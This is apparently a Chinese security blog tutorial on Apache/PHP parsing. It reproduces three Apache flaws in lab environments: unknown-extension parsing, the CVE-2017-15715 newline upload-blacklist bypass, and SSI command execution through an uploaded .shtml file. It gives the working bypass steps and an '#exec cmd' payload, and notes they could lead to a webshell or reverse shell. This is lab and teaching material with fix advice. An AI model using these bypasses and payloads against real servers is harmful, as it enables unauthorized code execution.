Apache
Apache的简介
Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上，由于其跨平台和安全性被广泛使用，是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充，将 Perl/Python等解释器编译到服务器中
这边我用phpstudy进行安装
Apache的原理
一次完整的WEB请求流程
从request开始，到response结束
是一次Apache和PHP配合的一次WEB请求，Apache在前，PHP在后
Apache本身是不支持PHP解析的，是通过SAPI进行通信，那 Apache如何和SAP通信呢？Apache怎么知道什么类型的文件要解析为PHP？
#加载php5_module模块
LoadModule php5_module php5apache2_2.dll的路径
#添加可以执行php的文件类型，让.php文件类型解析为PHP
AddType application/x-httpd-php.php
#或者将 AddType变为下面的(在 Apache2.4.0~2.4.29中默认使用了该方式)
<FiLesMatch \.php$>
SetHandler application/x-httpd-php
</FiLesMatch>
以及
<IfModule dir_module
DirectoryIndex index.html index.html index.php index.phtml
</IfModule>
Apache通过 LoadModule来加载php5_module模块( php5apache2_2.dll)
这样做的目的是让Apache加载php5_module模块来解析PHP文件。
意思其实就是用 LoadModule来加载php5_module。也就是把php作为 Apache的一个子模块来运行。当通过Web访问php文件时，Apache就会调用php5_module来解析php代码
调用过程概况
HTTP->Apahce->php5_module->sapi->php
Apache的目录结构
bin------------存放常用的命令工具，例如httpd
cgi-bin--------存放 Linux下常用的命令，例如xxx.sh
conf-----------Linux的配置相关文件，例如httpd．．conf
error----------错误记录
htdocs---------放网站源码
icons----------网站图标
logs-----------日志
manual---------手册
modules--------扩展模块
Apche对文件名扩展名的定义
它是不可以解析php的！！！
Apache的解析漏洞(CVE-2017-15715)
搞一张图片 搞一个未知的扩展名
然后我们访问一下
这里它不是apache解析的php文件
是php解析的
继续提升版本
要安装一个这个vc11-86
php常见运行方式有 apache的模块模式(分为mod_php和mod_cgi)cgi模式fast-cgi模式
1.使用 module模式与php结合的所有版本 apache存在未知扩展名解析漏洞
2.使用 fastcgi模式与php结合的所有版本 apache不存在此漏洞。
3.并且，想利用此漏洞必须保证文件扩展名中至少带有一个`.php`，否则将默认被作为`txt/html`文档处理
然后访问一下 可以看到是fast-cgi模式
我们访问phpinfo.php.xxx会报500的错误
kali操作
kali是自带apache的
进行配置一下就可以了
开启apache服务
/etc/init.d/apache2 start
访问一下 成功开启
php的版本
kali下apache默认的网站根目录：
/var/www/html
写一个phpinfo的2.php文件
访问一下
深入解析一下
去这个目录下
/etc/apache2/mods-enabled
我们打开分析一下
<FilesMatch ".+\.ph(ar|p|tml)$">
以 phar， php， phtml结尾的文件会被 apache当做php解析
apache解析漏洞的根本原因就是这个$
当我们把$换成\.时
搞一个2.php.xxx
重启一下apache服务
service apache2 restart
访问一下 成功解析了
总结利用条件
1.使用 module模式，且正则符合条件
2.文件扩展名中至少带有一个.php
Apache HTTPD换行解析漏洞
漏洞原理
上传一个后缀末尾包含换行符的文件，来绕过 FilesMatch。
绕过 FilesMatch不一定能被PHP解析这个漏洞可以用来绕过文件上传黑名单限制
举例：
a001.php\x0a-->a001.php
该漏洞属于用户配置不当
影响版本
apache ：2.4.0~2.4.29版本
漏洞复现
Kail的Apache的版本不符合
我这边上Ubuntu进行复现
Ubuntu安装docker命令
sudo apt-get update
sudo apt install curl
curl -s https://get.docker.com/ | sh
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip install docker-compose
sudo apt install docker-compose
docker-compose -v
docker -v
sudo service docker start 启动docker
安装完成 那么 开始安装vulhub
sudo apt install git
git clone https://github.com/vulhub/vulhub.git
开启环境
cd vulhub/httpd/CVE-2017-15715/
sudo docker-compose build
sudo docker-compose up -d
docker ps
访问
http://192.168.175.179:8080/
部署成功了
开始上传
直接上传phpinfo.php 是失败的
抓包进行修改
去看看Hex
.的Hex–>2e
改成0a 成功上传
然后我们进行访问
http://192.168.175.179:8080/phpinfo.php%0a
成功上传并解析
分析原因
后台是通过黑名单方式过滤了php后缀的文件，根据最开始的知识，什么样的文件算是php文件呢？在有定义，这句话的意思是以php结尾的文件都算php文件，在正则中表示匹配输入字符串的结尾位置。如果设置了 RegExp对象的 Multiline属性，则也匹配\n或\r
恰好，我们在文件末尾加了0x0a（n），所以被匹配成功了。
0x0a和0x0d
1.0x0d \r CR这三者代表是回车，是同一个东西，回车的作用只是移动光标至该行的起始位置
2.0x0a \n CL这三者代表换行，是同一个东西，换行至下一行行首起始位置；
修复建议
1.升级到最新版本
2.或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行脚本权限
Apache SsI远程命令执行漏洞
影响版本
Apache全版本（支持SS与cG）
漏洞危害
绕过服务器策略，上传 webshell
漏洞原理
ssi：是放置在HTML页面中的指令，它可以将动态生成的内容添加到现有的HTML页面，而不必通过CGI程序或其他动态技术来提供整个页面。以上是定义采用在 Apache官网对SS的定义
简单来讲，就是ssi可以在HTML中加入特定的指令，也可以引入其他的页面。
开启ssi需要单独配置 Apache，可以参考ssi配置
https://httpd.apache.org/docs/2.4/howto/ssi.html
总结呢，就是：ssi.html也可以执行命令
创建a001.shtml 写入如下命令 进行上传
包含ssi指令的文件
<pre>
<!--#exec cmd="whoami" -->
</pre>
漏洞复现
同样是用vulhub进行启动
sudo docker-compose up -d
访问一下
写入ssi指令的文件
<pre>
<!--#exec cmd="whoami" -->
</pre>
文件名保存为a001.shtml，这个后缀取决于 Apache的配置，默认是此后缀
访问一下
这里的思路 比如上传webshell 或者拿反弹shell都是可以的
来源：freebuf.com 2021-07-18 06:26:15 by: 每天都要努力哇
请登录后发表评论
注册